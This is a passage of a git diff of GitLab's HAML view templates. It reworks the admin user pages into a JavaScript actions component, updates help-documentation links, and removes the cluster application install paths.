= render partial: 'ci/runner/how_to_setup_runner',
locals: { registration_token: Gitlab::CurrentSettings.runners_registration_token,
- type: 'shared',
+ type: s_('Runners|shared'),
reset_token_url: reset_registration_token_admin_application_settings_path,
project_path: '',
group_path: '' }
diff --git a/app/views/admin/users/_approve_user.html.haml b/app/views/admin/users/_approve_user.html.haml
deleted file mode 100644
index f61c9fa4b80..00000000000
--- a/app/views/admin/users/_approve_user.html.haml
+++ /dev/null
@@ -1,7 +0,0 @@
-.card.border-info
- .card-header.gl-bg-blue-500.gl-text-white
- = s_('AdminUsers|This user has requested access')
- .card-body
- = render partial: 'admin/users/user_approve_effects'
- %br
- = link_to s_('AdminUsers|Approve user'), approve_admin_user_path(user), method: :put, class: "btn gl-button btn-info", data: { confirm: s_('AdminUsers|Are you sure?'), qa_selector: 'approve_user_button' }
diff --git a/app/views/admin/users/_ban_user.html.haml b/app/views/admin/users/_ban_user.html.haml
deleted file mode 100644
index 229c88adb7f..00000000000
--- a/app/views/admin/users/_ban_user.html.haml
+++ /dev/null
@@ -1,9 +0,0 @@
-- if ban_feature_available?
- .card.border-warning
- .card-header.bg-warning.gl-text-white
- = s_('AdminUsers|Ban user')
- .card-body
- = user_ban_effects
- %br
- %button.btn.gl-button.btn-warning.js-confirm-modal-button{ data: user_ban_data(user) }
- = s_('AdminUsers|Ban user')
diff --git a/app/views/admin/users/_block_user.html.haml b/app/views/admin/users/_block_user.html.haml
deleted file mode 100644
index 29029986345..00000000000
--- a/app/views/admin/users/_block_user.html.haml
+++ /dev/null
@@ -1,8 +0,0 @@
-.card.border-warning
- .card-header.bg-warning.text-white
- = s_('AdminUsers|Block this user')
- .card-body
- = user_block_effects
- %br
- %button.btn.gl-button.btn-warning.js-confirm-modal-button{ data: user_block_data(user, s_('AdminUsers|You can always unblock their account, their data will remain intact.')) }
- = s_('AdminUsers|Block user')
diff --git a/app/views/admin/users/_head.html.haml b/app/views/admin/users/_head.html.haml
index be04e87f8b9..b7b712e078d 100644
--- a/app/views/admin/users/_head.html.haml
+++ b/app/views/admin/users/_head.html.haml
@@ -1,33 +1,38 @@
-%h3.page-title
- = @user.name
- - if @user.blocked_pending_approval?
- %span.cred
- = s_('AdminUsers|(Pending approval)')
- - elsif @user.banned?
- %span.cred
- = s_('AdminUsers|(Banned)')
- - elsif @user.blocked?
- %span.cred
- = s_('AdminUsers|(Blocked)')
- - if @user.internal?
- %span.cred
- = s_('AdminUsers|(Internal)')
- - if @user.admin
- %span.cred
- = s_('AdminUsers|(Admin)')
- - if @user.deactivated?
- %span.cred
- = s_('AdminUsers|(Deactivated)')
- = render_if_exists 'admin/users/auditor_user_badge'
- = render_if_exists 'admin/users/gma_user_badge'
+.gl-display-flex.gl-flex-wrap.gl-justify-content-space-between.gl-align-items-center.gl-py-3.gl-mb-5.gl-border-b-solid.gl-border-gray-100.gl-border-b-1
+ .gl-my-3
+ %h3.page-title.gl-m-0
+ = @user.name
+ - if @user.blocked_pending_approval?
+ %span.cred
+ = s_('AdminUsers|(Pending approval)')
+ - elsif @user.banned?
+ %span.cred
+ = s_('AdminUsers|(Banned)')
+ - elsif @user.blocked?
+ %span.cred
+ = s_('AdminUsers|(Blocked)')
+ - if @user.internal?
+ %span.cred
+ = s_('AdminUsers|(Internal)')
+ - if @user.admin
+ %span.cred
+ = s_('AdminUsers|(Admin)')
+ - if @user.deactivated?
+ %span.cred
+ = s_('AdminUsers|(Deactivated)')
+ = render_if_exists 'admin/users/auditor_user_badge'
+ = render_if_exists 'admin/users/gma_user_badge'
- .float-right
- - if impersonation_enabled? && @user != current_user && @user.can?(:log_in)
- = link_to _('Impersonate'), impersonate_admin_user_path(@user), method: :post, class: "btn btn-info gl-button btn-grouped", data: { qa_selector: 'impersonate_user_link' }
- = link_to edit_admin_user_path(@user), class: "btn btn-default gl-button btn-grouped" do
- = sprite_icon('pencil-square', css_class: 'gl-icon gl-button-icon')
- = _('Edit')
-%hr
+ .gl-my-3.gl-display-flex.gl-flex-wrap.gl-my-n2.gl-mx-n2
+ .gl-p-2
+ #js-admin-user-actions{ data: admin_user_actions_data_attributes(@user) }
+ - if @user != current_user
+ .gl-p-2
+ - if impersonation_enabled? && @user.can?(:log_in)
+ = link_to _('Impersonate'), impersonate_admin_user_path(@user), method: :post, class: "btn btn-default gl-button", data: { qa_selector: 'impersonate_user_link' }
+ - if can_force_email_confirmation?(@user)
+ %button.btn.gl-button.btn-info.js-confirm-modal-button{ data: confirm_user_data(@user) }
+ = _('Confirm user')
%ul.nav-links.nav.nav-tabs
= nav_link(path: 'users#show') do
= link_to _("Account"), admin_user_path(@user)
diff --git a/app/views/admin/users/_reject_pending_user.html.haml b/app/views/admin/users/_reject_pending_user.html.haml
deleted file mode 100644
index 17108427330..00000000000
--- a/app/views/admin/users/_reject_pending_user.html.haml
+++ /dev/null
@@ -1,7 +0,0 @@
-.card.border-danger
- .card-header.bg-danger.gl-text-white
- = s_('AdminUsers|This user has requested access')
- .card-body
- = render partial: 'admin/users/user_reject_effects'
- %br
- = link_to s_('AdminUsers|Reject request'), reject_admin_user_path(user), method: :delete, class: "btn gl-button btn-danger", data: { confirm: s_('AdminUsers|Are you sure?') }
diff --git a/app/views/admin/users/_user_activation_effects.html.haml b/app/views/admin/users/_user_activation_effects.html.haml
deleted file mode 100644
index 244836dac11..00000000000
--- a/app/views/admin/users/_user_activation_effects.html.haml
+++ /dev/null
@@ -1,6 +0,0 @@
-%p
- = s_('AdminUsers|Reactivating a user will:')
-%ul
- %li
- = s_('AdminUsers|Restore user access to the account, including web, Git and API.')
- = render_if_exists 'admin/users/user_activation_effects_on_seats'
diff --git a/app/views/admin/users/_user_approve_effects.html.haml b/app/views/admin/users/_user_approve_effects.html.haml
deleted file mode 100644
index 54e51bf3467..00000000000
--- a/app/views/admin/users/_user_approve_effects.html.haml
+++ /dev/null
@@ -1,11 +0,0 @@
-%p
- = s_('AdminUsers|Approved users can:')
-%ul
- %li
- = s_('AdminUsers|Log in')
- %li
- = s_('AdminUsers|Access Git repositories')
- %li
- = s_('AdminUsers|Access the API')
- %li
- = s_('AdminUsers|Be added to groups and projects')
diff --git a/app/views/admin/users/_user_detail_note.html.haml b/app/views/admin/users/_user_detail_note.html.haml
index 4f2a682c5ca..cc4827327c9 100644
--- a/app/views/admin/users/_user_detail_note.html.haml
+++ b/app/views/admin/users/_user_detail_note.html.haml
@@ -1,7 +1,7 @@
- if @user.note.present?
- text = @user.note
- .card.border-info
- .card-header.bg-info.text-white
+ .card
+ .card-header
= _('Admin Note')
.card-body
%p= text
diff --git a/app/views/admin/users/_user_reject_effects.html.haml b/app/views/admin/users/_user_reject_effects.html.haml
deleted file mode 100644
index 17b6862b0cc..00000000000
--- a/app/views/admin/users/_user_reject_effects.html.haml
+++ /dev/null
@@ -1,10 +0,0 @@
-%p
- = s_('AdminUsers|Rejected users:')
-%ul
- %li
- = s_('AdminUsers|Cannot sign in or access instance information')
- %li
- = s_('AdminUsers|Will be deleted')
-%p
- - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path("user/profile/account/delete_account", anchor: "associated-records") }
- = s_('AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
diff --git a/app/views/admin/users/keys.html.haml b/app/views/admin/users/keys.html.haml
index 5f9d11af7c1..28024ae084f 100644
--- a/app/views/admin/users/keys.html.haml
+++ b/app/views/admin/users/keys.html.haml
@@ -3,3 +3,4 @@
- page_title _("SSH Keys"), @user.name, _("Users")
= render 'admin/users/head'
= render 'profiles/keys/key_table', admin: true
+= render partial: 'admin/users/modals'
diff --git a/app/views/admin/users/projects.html.haml b/app/views/admin/users/projects.html.haml
index 3ff726e1945..8c56e888dcc 100644
--- a/app/views/admin/users/projects.html.haml
+++ b/app/views/admin/users/projects.html.haml
@@ -48,3 +48,5 @@
- if member.respond_to? :project
= link_to project_project_member_path(project, member), data: { confirm: remove_member_message(member) }, remote: true, method: :delete, class: "btn btn-sm btn-danger gl-button btn-icon gl-ml-3", title: _('Remove user from project') do
= sprite_icon('close', size: 16, css_class: 'gl-icon')
+
+= render partial: 'admin/users/modals'
diff --git a/app/views/admin/users/show.html.haml b/app/views/admin/users/show.html.haml
index 08c1e089f21..ad8d9d1f04f 100644
--- a/app/views/admin/users/show.html.haml
+++ b/app/views/admin/users/show.html.haml
@@ -16,8 +16,10 @@
%strong
= link_to user_path(@user) do
= @user.username
- = render 'admin/users/profile', user: @user
-
+ -# Rendered on mobile only so order of cards can be different on desktop vs mobile
+ .gl-md-display-none
+ = render 'admin/users/profile', user: @user
+ = render 'admin/users/user_detail_note'
.card
.card-header
= _('Account:')
@@ -139,123 +141,8 @@
= render 'shared/custom_attributes', custom_attributes: @user.custom_attributes
- .col-md-6
- - unless @user == current_user
- - if can_force_email_confirmation?(@user)
- .gl-card.border-info.gl-mb-5
- .gl-card-header.bg-info.text-white
- = _('Confirm user')
- .gl-card-body
- - if @user.unconfirmed_email.present?
- - email = " (#{@user.unconfirmed_email})"
- %p= _('This user has an unconfirmed email address %{email}. You may force a confirmation.') % { email: email }
- %br
- = link_to _('Confirm user'), confirm_admin_user_path(@user), method: :put, class: "btn gl-button btn-info", data: { confirm: _('Are you sure?'), qa_selector: 'confirm_user_button' }
-
- = render 'admin/users/user_detail_note'
-
- - unless @user.internal?
- - if @user.deactivated?
- .gl-card.border-info.gl-mb-5
- .gl-card-header.bg-info.text-white
- = _('Reactivate this user')
- .gl-card-body
- = render partial: 'admin/users/user_activation_effects'
- %br
- %button.btn.gl-button.btn-info.js-confirm-modal-button{ data: user_activation_data(@user) }
- = s_('AdminUsers|Activate user')
- - elsif @user.can_be_deactivated?
- .gl-card.border-warning.gl-mb-5
- .gl-card-header.bg-warning.text-white
- = _('Deactivate this user')
- .gl-card-body
- = user_deactivation_effects
- %br
- %button.btn.gl-button.btn-warning.js-confirm-modal-button{ data: user_deactivation_data(@user, s_('AdminUsers|You can always re-activate their account, their data will remain intact.')) }
- = s_('AdminUsers|Deactivate user')
- - if @user.blocked?
- - if @user.blocked_pending_approval?
- = render 'admin/users/approve_user', user: @user
- = render 'admin/users/reject_pending_user', user: @user
- - elsif @user.banned?
- .gl-card.border-info.gl-mb-5
- .gl-card-header.gl-bg-blue-500.gl-text-white
- = _('This user is banned')
- .gl-card-body
- %p= _('A banned user cannot:')
- %ul
- %li= _('Log in')
- %li= _('Access Git repositories')
- - link_start = '<a href="%{url}" target="_blank">'.html_safe % { url: help_page_path("user/admin_area/moderate_users", anchor: "ban-a-user") }
- = s_('AdminUsers|Learn more about %{link_start}banned users.%{link_end}').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
- %p
- %button.btn.gl-button.btn-info.js-confirm-modal-button{ data: user_unban_data(@user) }
- = s_('AdminUsers|Unban user')
- - else
- .gl-card.border-info.gl-mb-5
- .gl-card-header.gl-bg-blue-500.gl-text-white
- = _('This user is blocked')
- .gl-card-body
- %p= _('A blocked user cannot:')
- %ul
- %li= _('Log in')
- %li= _('Access Git repositories')
- %br
- %button.btn.gl-button.btn-info.js-confirm-modal-button{ data: user_unblock_data(@user) }
- = s_('AdminUsers|Unblock user')
- - elsif !@user.internal?
- = render 'admin/users/block_user', user: @user
- = render 'admin/users/ban_user', user: @user
-
- - if @user.access_locked?
- .card.border-info.gl-mb-5
- .card-header.bg-info.text-white
- = _('This account has been locked')
- .card-body
- %p= _('This user has been temporarily locked due to excessive number of failed logins. You may manually unlock the account.')
- %br
- = link_to _('Unlock user'), unlock_admin_user_path(@user), method: :put, class: "btn gl-button btn-info", data: { confirm: _('Are you sure?') }
- - if !@user.blocked_pending_approval?
- .gl-card.border-danger.gl-mb-5
- .gl-card-header.bg-danger.text-white
- = s_('AdminUsers|Delete user')
- .gl-card-body
- - if @user.can_be_removed? && can?(current_user, :destroy_user, @user)
- %p= _('Deleting a user has the following effects:')
- = render 'users/deletion_guidance', user: @user
- %br
- %button.js-delete-user-modal-button.btn.gl-button.btn-danger{ data: { 'gl-modal-action': 'delete',
- delete_user_url: admin_user_path(@user),
- block_user_url: block_admin_user_path(@user),
- username: sanitize_name(@user.name) } }
- = s_('AdminUsers|Delete user')
- - else
- - if @user.solo_owned_groups.present?
- %p
- = _('This user is currently an owner in these groups:')
- %strong= @user.solo_owned_groups.map(&:name).join(', ')
- %p
- = _('You must transfer ownership or delete these groups before you can delete this user.')
- - else
- %p
- = _("You don't have access to delete this user.")
-
- .gl-card.border-danger
- .gl-card-header.bg-danger.text-white
- = s_('AdminUsers|Delete user and contributions')
- .gl-card-body
- - if can?(current_user, :destroy_user, @user)
- %p
- - link_to_ghost_user = link_to(_("system ghost user"), help_page_path("user/profile/account/delete_account"))
- = _("This option deletes the user and any contributions that would usually be moved to the %{link_to_ghost_user}. As well as the user's personal projects, groups owned solely by the user, and projects in them, will also be removed. Commits to other projects are unaffected.").html_safe % { link_to_ghost_user: link_to_ghost_user }
- %br
- %button.js-delete-user-modal-button.btn.gl-button.btn-danger{ data: { 'gl-modal-action': 'delete-with-contributions',
- delete_user_url: admin_user_path(@user, hard_delete: true),
- block_user_url: block_admin_user_path(@user),
- username: @user.name } }
- = s_('AdminUsers|Delete user and contributions')
- - else
- %p
- = _("You don't have access to delete this user.")
-
+ -# Rendered on desktop only so order of cards can be different on desktop vs mobile
+ .col-md-6.gl-display-none.gl-md-display-block
+ = render 'admin/users/profile', user: @user
+ = render 'admin/users/user_detail_note'
= render partial: 'admin/users/modals'
diff --git a/app/views/ci/token_access/_index.html.haml b/app/views/ci/token_access/_index.html.haml
new file mode 100644
index 00000000000..e6f21fc4ea4
--- /dev/null
+++ b/app/views/ci/token_access/_index.html.haml
@@ -0,0 +1 @@
+#js-ci-token-access-app{ data: { full_path: @project.full_path } }
diff --git a/app/views/ci/variables/_content.html.haml b/app/views/ci/variables/_content.html.haml
index 5eded970bf0..8a2a479486f 100644
--- a/app/views/ci/variables/_content.html.haml
+++ b/app/views/ci/variables/_content.html.haml
@@ -1,5 +1,5 @@
= _('Variables store information, like passwords and secret keys, that you can use in job scripts.')
-= link_to s_('Learn more.'), help_page_path('ci/variables/README'), target: '_blank', rel: 'noopener noreferrer'
+= link_to s_('Learn more.'), help_page_path('ci/variables/index'), target: '_blank', rel: 'noopener noreferrer'
%p
= _('Variables can be:')
%ul
@@ -7,4 +7,4 @@
= html_escape(_('%{code_open}Protected:%{code_close} Only exposed to protected branches or tags.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
%li
= html_escape(_('%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to _('Learn more.'), help_page_path('ci/variables/README', anchor: 'mask-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('Learn more.'), help_page_path('ci/variables/index', anchor: 'mask-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
diff --git a/app/views/ci/variables/_index.html.haml b/app/views/ci/variables/_index.html.haml
index f5d28adfa66..9db5ee23c3e 100644
--- a/app/views/ci/variables/_index.html.haml
+++ b/app/views/ci/variables/_index.html.haml
@@ -2,7 +2,7 @@
- if ci_variable_protected_by_default?
%p.settings-message.text-center
- - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/README', anchor: 'protect-a-cicd-variable') }
+ - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/index', anchor: 'protect-a-cicd-variable') }
= s_('Environment variables are configured by your administrator to be %{link_start}protected%{link_end} by default.').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
- is_group = !@group.nil?
@@ -16,8 +16,8 @@
aws_tip_deploy_link: help_page_path('ci/cloud_deployment/index.md', anchor: 'deploy-your-application-to-the-aws-elastic-container-service-ecs'),
aws_tip_commands_link: help_page_path('ci/cloud_deployment/index.md', anchor: 'run-aws-commands-from-gitlab-cicd'),
aws_tip_learn_link: help_page_path('ci/cloud_deployment/index.md', anchor: 'aws'),
- protected_environment_variables_link: help_page_path('ci/variables/README', anchor: 'protect-a-cicd-variable'),
- masked_environment_variables_link: help_page_path('ci/variables/README', anchor: 'mask-a-cicd-variable'),
+ protected_environment_variables_link: help_page_path('ci/variables/index', anchor: 'protect-a-cicd-variable'),
+ masked_environment_variables_link: help_page_path('ci/variables/index', anchor: 'mask-a-cicd-variable'),
} }
- if !@group && @project.group
diff --git a/app/views/ci/variables/_variable_row.html.haml b/app/views/ci/variables/_variable_row.html.haml
index 856d03ba258..3a7f7a241ac 100644
--- a/app/views/ci/variables/_variable_row.html.haml
+++ b/app/views/ci/variables/_variable_row.html.haml
@@ -39,7 +39,7 @@
= value
%p.masking-validation-error.gl-field-error.hide
= s_("CiVariables|Cannot use Masked Variable with current value")
- = link_to sprite_icon('question-o'), help_page_path('ci/variables/README', anchor: 'mask-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to sprite_icon('question-o'), help_page_path('ci/variables/index', anchor: 'mask-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
- unless only_key_value
.ci-variable-body-item.ci-variable-protected-item.table-section.section-20.mr-0.border-top-0
.gl-mr-3
diff --git a/app/views/clusters/clusters/_applications.html.haml b/app/views/clusters/clusters/_applications.html.haml
deleted file mode 100644
index f83a414a0aa..00000000000
--- a/app/views/clusters/clusters/_applications.html.haml
+++ /dev/null
@@ -1 +0,0 @@
-.cluster-applications-table#js-cluster-applications
diff --git a/app/views/clusters/clusters/_applications_tab.html.haml b/app/views/clusters/clusters/_applications_tab.html.haml
deleted file mode 100644
index e1455b0f60a..00000000000
--- a/app/views/clusters/clusters/_applications_tab.html.haml
+++ /dev/null
@@ -1,5 +0,0 @@
-- active = params[:tab] == 'apps'
-
-%li.nav-item{ role: 'presentation' }
- %a#cluster-apps-tab.nav-link.qa-applications{ class: active_when(active), href: clusterable.cluster_path(@cluster.id, params: {tab: 'apps'}) }
- %span= _('Applications')
diff --git a/app/views/clusters/clusters/_banner.html.haml b/app/views/clusters/clusters/_banner.html.haml
index 6d902132c73..1ca4f9c670e 100644
--- a/app/views/clusters/clusters/_banner.html.haml
+++ b/app/views/clusters/clusters/_banner.html.haml
@@ -6,17 +6,19 @@
%span.gl-spinner.gl-spinner-dark{ 'aria-label': 'Loading' }
%span.gl-ml-2= s_('ClusterIntegration|Kubernetes cluster is being created...')
-.hidden.row.js-cluster-api-unreachable.gl-alert.gl-alert-warning{ role: 'alert' }
- = sprite_icon('warning', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
- = sprite_icon('close', css_class: 'gl-icon')
+= render 'shared/global_alert',
+ variant: :warning,
+ alert_class: 'hidden js-cluster-api-unreachable',
+ is_contained: true,
+ close_button_class: 'js-close' do
.gl-alert-body
= s_('ClusterIntegration|Your cluster API is unreachable. Please ensure your API URL is correct.')
-.hidden.js-cluster-authentication-failure.js-cluster-api-unreachable.gl-alert.gl-alert-warning{ role: 'alert' }
- = sprite_icon('warning', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
- = sprite_icon('close', css_class: 'gl-icon')
+= render 'shared/global_alert',
+ variant: :warning,
+ alert_class: 'hidden js-cluster-authentication-failure js-cluster-api-unreachable',
+ is_contained: true,
+ close_button_class: 'js-close' do
.gl-alert-body
= s_('ClusterIntegration|There was a problem authenticating with your cluster. Please ensure your CA Certificate and Token are valid.')
diff --git a/app/views/clusters/clusters/_multiple_clusters_message.html.haml b/app/views/clusters/clusters/_multiple_clusters_message.html.haml
index da3e128ba32..f235435d907 100644
--- a/app/views/clusters/clusters/_multiple_clusters_message.html.haml
+++ b/app/views/clusters/clusters/_multiple_clusters_message.html.haml
@@ -1,4 +1,4 @@
-- autodevops_help_url = help_page_path('topics/autodevops/index.md', anchor: 'using-multiple-kubernetes-clusters')
+- autodevops_help_url = help_page_path('topics/autodevops/index.md', anchor: 'use-multiple-kubernetes-clusters')
- help_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe
- help_link_end = '</a>'.html_safe
diff --git a/app/views/clusters/clusters/_provider_details_form.html.haml b/app/views/clusters/clusters/_provider_details_form.html.haml
index a936cdc04dd..fe3d1998234 100644
--- a/app/views/clusters/clusters/_provider_details_form.html.haml
+++ b/app/views/clusters/clusters/_provider_details_form.html.haml
@@ -43,13 +43,13 @@
label_class: 'label-bold' }
.form-text.text-muted
= s_('ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster.')
- = link_to _('More information'), help_page_path('user/project/clusters/index.md', anchor: 'gitlab-managed-clusters'), target: '_blank'
+ = link_to _('More information'), help_page_path('user/project/clusters/gitlab_managed_clusters.md'), target: '_blank'
.form-group
= field.check_box :namespace_per_environment, { label: s_('ClusterIntegration|Namespace per environment'), label_class: 'label-bold' }
.form-text.text-muted
= s_('ClusterIntegration|Deploy each environment to its own namespace. Otherwise, environments within a project share a project-wide namespace. Note that anyone who can trigger a deployment of a namespace can read its secrets. If modified, existing environments will use their current namespaces until the cluster cache is cleared.')
- = link_to _('More information'), help_page_path('user/project/clusters/index.md', anchor: 'custom-namespace'), target: '_blank'
+ = link_to _('More information'), help_page_path('user/project/clusters/deploy_to_cluster.md', anchor: 'custom-namespace'), target: '_blank'
- if cluster.allow_user_defined_namespace?
= render('clusters/clusters/namespace', platform_field: platform_field, field: field)
diff --git a/app/views/clusters/clusters/aws/_new.html.haml b/app/views/clusters/clusters/aws/_new.html.haml
index 93e8b1241a8..93db7db06b3 100644
--- a/app/views/clusters/clusters/aws/_new.html.haml
+++ b/app/views/clusters/clusters/aws/_new.html.haml
@@ -3,8 +3,8 @@
anchor: 'additional-requirements-for-self-managed-instances') }
= s_('Amazon authentication is not %{link_start}correctly configured%{link_end}. Ask your GitLab administrator if you want to use this service.').html_safe % { link_start: documentation_link_start, link_end: '<a/>'.html_safe }
- else
- .js-create-eks-cluster-form-container{ data: { 'gitlab-managed-cluster-help-path' => help_page_path('user/project/clusters/index.md', anchor: 'gitlab-managed-clusters'),
- 'namespace-per-environment-help-path' => help_page_path('user/project/clusters/index.md', anchor: 'custom-namespace'),
+ .js-create-eks-cluster-form-container{ data: { 'gitlab-managed-cluster-help-path' => help_page_path('user/project/clusters/gitlab_managed_clusters.md'),
+ 'namespace-per-environment-help-path' => help_page_path('user/project/clusters/deploy_to_cluster.md', anchor: 'custom-namespace'),
'create-role-path' => clusterable.authorize_aws_role_path,
'create-cluster-path' => clusterable.create_aws_clusters_path,
'account-id' => Gitlab::CurrentSettings.eks_account_id,
@@ -12,6 +12,6 @@
'role-arn' => @aws_role.role_arn,
'instance-types' => @instance_types,
'kubernetes-integration-help-path' => help_page_path('user/project/clusters/index'),
- 'account-and-external-ids-help-path' => help_page_path('user/project/clusters/add_eks_clusters.md', anchor: 'new-eks-cluster'),
- 'create-role-arn-help-path' => help_page_path('user/project/clusters/add_eks_clusters.md', anchor: 'new-eks-cluster'),
+ 'account-and-external-ids-help-path' => help_page_path('user/project/clusters/add_eks_clusters.md', anchor: 'create-a-new-certificate-based-eks-cluster'),
+ 'create-role-arn-help-path' => help_page_path('user/project/clusters/add_eks_clusters.md', anchor: 'create-a-new-certificate-based-eks-cluster'),
'external-link-icon' => sprite_icon('external-link') } }
diff --git a/app/views/clusters/clusters/gcp/_form.html.haml b/app/views/clusters/clusters/gcp/_form.html.haml
index 73a09f00fd6..5266fad9278 100644
--- a/app/views/clusters/clusters/gcp/_form.html.haml
+++ b/app/views/clusters/clusters/gcp/_form.html.haml
@@ -74,13 +74,13 @@
label_class: 'label-bold' }
.form-text.text-muted
= s_('ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster.')
- = link_to _('More information'), help_page_path('user/project/clusters/index.md', anchor: 'gitlab-managed-clusters'), target: '_blank'
+ = link_to _('More information'), help_page_path('user/project/clusters/gitlab_managed_clusters.md', anchor: 'gitlab-managed-clusters'), target: '_blank'
.form-group
= field.check_box :namespace_per_environment, { label: s_('ClusterIntegration|Namespace per environment'), label_class: 'label-bold' }
.form-text.text-muted
= s_('ClusterIntegration|Deploy each environment to its own namespace. Otherwise, environments within a project share a project-wide namespace. Note that anyone who can trigger a deployment of a namespace can read its secrets. If modified, existing environments will use their current namespaces until the cluster cache is cleared.')
- = link_to _('More information'), help_page_path('user/project/clusters/index.md', anchor: 'custom-namespace'), target: '_blank'
+ = link_to _('More information'), help_page_path('user/project/clusters/deploy_to_cluster.md', anchor: 'custom-namespace'), target: '_blank'
.form-group.js-gke-cluster-creation-submit-container
= field.submit s_('ClusterIntegration|Create Kubernetes cluster'),
diff --git a/app/views/clusters/clusters/show.html.haml b/app/views/clusters/clusters/show.html.haml
index 7336b9fe86b..0a482f1eb01 100644
--- a/app/views/clusters/clusters/show.html.haml
+++ b/app/views/clusters/clusters/show.html.haml
@@ -2,21 +2,10 @@
- add_to_breadcrumbs _('Kubernetes Clusters'), clusterable.index_path
- breadcrumb_title @cluster.name
- page_title _('Kubernetes Cluster')
-- manage_prometheus_path = edit_project_service_path(@cluster.project, 'prometheus') if @project
- cluster_environments_path = clusterable.environments_cluster_path(@cluster)
- status_path = clusterable.cluster_status_cluster_path(@cluster.id, format: :json) if can?(current_user, :admin_cluster, @cluster)
.edit-cluster-form.js-edit-cluster-form{ data: { status_path: status_path,
- install_helm_path: clusterable.install_applications_cluster_path(@cluster, :helm),
- install_ingress_path: clusterable.install_applications_cluster_path(@cluster, :ingress),
- install_cert_manager_path: clusterable.install_applications_cluster_path(@cluster, :cert_manager),
- install_crossplane_path: clusterable.install_applications_cluster_path(@cluster, :crossplane),
- install_prometheus_path: clusterable.install_applications_cluster_path(@cluster, :prometheus),
- install_runner_path: clusterable.install_applications_cluster_path(@cluster, :runner),
- install_jupyter_path: clusterable.install_applications_cluster_path(@cluster, :jupyter),
- install_knative_path: clusterable.install_applications_cluster_path(@cluster, :knative),
- update_knative_path: clusterable.update_applications_cluster_path(@cluster, :knative),
- install_elastic_stack_path: clusterable.install_applications_cluster_path(@cluster, :elastic_stack),
cluster_environments_path: cluster_environments_path,
toggle_status: @cluster.enabled? ? 'true': 'false',
has_rbac: has_rbac_enabled?(@cluster) ? 'true': 'false',
@@ -24,15 +13,11 @@
cluster_status: @cluster.status_name,
cluster_status_reason: @cluster.status_reason,
provider_type: @cluster.provider_type,
- pre_installed_knative: @cluster.knative_pre_installed? ? 'true': 'false',
help_path: help_page_path('user/project/clusters/index.md'),
environments_help_path: help_page_path('ci/environments/index.md', anchor: 'create-a-static-environment'),
clusters_help_path: help_page_path('user/project/clusters/index.md', anchor: 'deploying-to-a-kubernetes-cluster'),
deploy_boards_help_path: help_page_path('user/project/deploy_boards.md', anchor: 'enabling-deploy-boards'),
- cloud_run_help_path: help_page_path('user/project/clusters/add_gke_clusters.md', anchor: 'cloud-run-for-anthos'),
- manage_prometheus_path: manage_prometheus_path,
- cluster_id: @cluster.id,
- cilium_help_path: help_page_path('user/clusters/applications.md', anchor: 'install-cilium-using-gitlab-cicd')} }
+ cluster_id: @cluster.id } }
.js-cluster-application-notice
.flash-container
diff --git a/app/views/clusters/clusters/user/_form.html.haml b/app/views/clusters/clusters/user/_form.html.haml
index 7d82fe06799..e9b84952c15 100644
--- a/app/views/clusters/clusters/user/_form.html.haml
+++ b/app/views/clusters/clusters/user/_form.html.haml
@@ -47,13 +47,13 @@
label_class: 'label-bold' }
.form-text.text-muted
= s_('ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster.')
- = link_to _('More information'), help_page_path('user/project/clusters/index.md', anchor: 'gitlab-managed-clusters'), target: '_blank'
+ = link_to _('More information'), help_page_path('user/project/clusters/gitlab_managed_clusters.md'), target: '_blank'
.form-group
= field.check_box :namespace_per_environment, { label: s_('ClusterIntegration|Namespace per environment'), label_class: 'label-bold' }
.form-text.text-muted
= s_('ClusterIntegration|Deploy each environment to its own namespace. Otherwise, environments within a project share a project-wide namespace. Note that anyone who can trigger a deployment of a namespace can read its secrets. If modified, existing environments will use their current namespaces until the cluster cache is cleared.')
- = link_to _('More information'), help_page_path('user/project/clusters/index.md', anchor: 'custom-namespace'), target: '_blank'
+ = link_to _('More information'), help_page_path('user/project/clusters/deploy_to_cluster.md', anchor: 'custom-namespace'), target: '_blank'
= field.fields_for :platform_kubernetes, @user_cluster.platform_kubernetes do |platform_kubernetes_field|
- if @user_cluster.allow_user_defined_namespace?
diff --git a/app/views/dashboard/projects/index.html.haml b/app/views/dashboard/projects/index.html.haml
index c24d386c412..4252b60514a 100644
--- a/app/views/dashboard/projects/index.html.haml
+++ b/app/views/dashboard/projects/index.html.haml
@@ -3,15 +3,6 @@
= content_for :meta_tags do
= auto_discovery_link_tag(:atom, dashboard_projects_url(rss_url_options), title: "All activity")
-- if show_customize_homepage_banner?
- = content_for :customize_homepage_banner do
- .gl-display-none.gl-md-display-block{ class: "gl-pt-6! gl-pb-2! #{(container_class unless @no_container)} #{@content_class}" }
- .js-customize-homepage-banner{ data: { svg_path: image_path('illustrations/monitoring/getting_started.svg'),
- preferences_behavior_path: profile_preferences_path(anchor: 'behavior'),
- callouts_path: user_callouts_path,
- callouts_feature_id: UserCalloutsHelper::CUSTOMIZE_HOMEPAGE,
- track_label: 'home_page' } }
-
= render_dashboard_ultimate_trial(current_user)
- page_title _("Projects")
diff --git a/app/views/devise/shared/_signup_box.html.haml b/app/views/devise/shared/_signup_box.html.haml
index 09b7f247450..a313ad7d23c 100644
--- a/app/views/devise/shared/_signup_box.html.haml
+++ b/app/views/devise/shared/_signup_box.html.haml
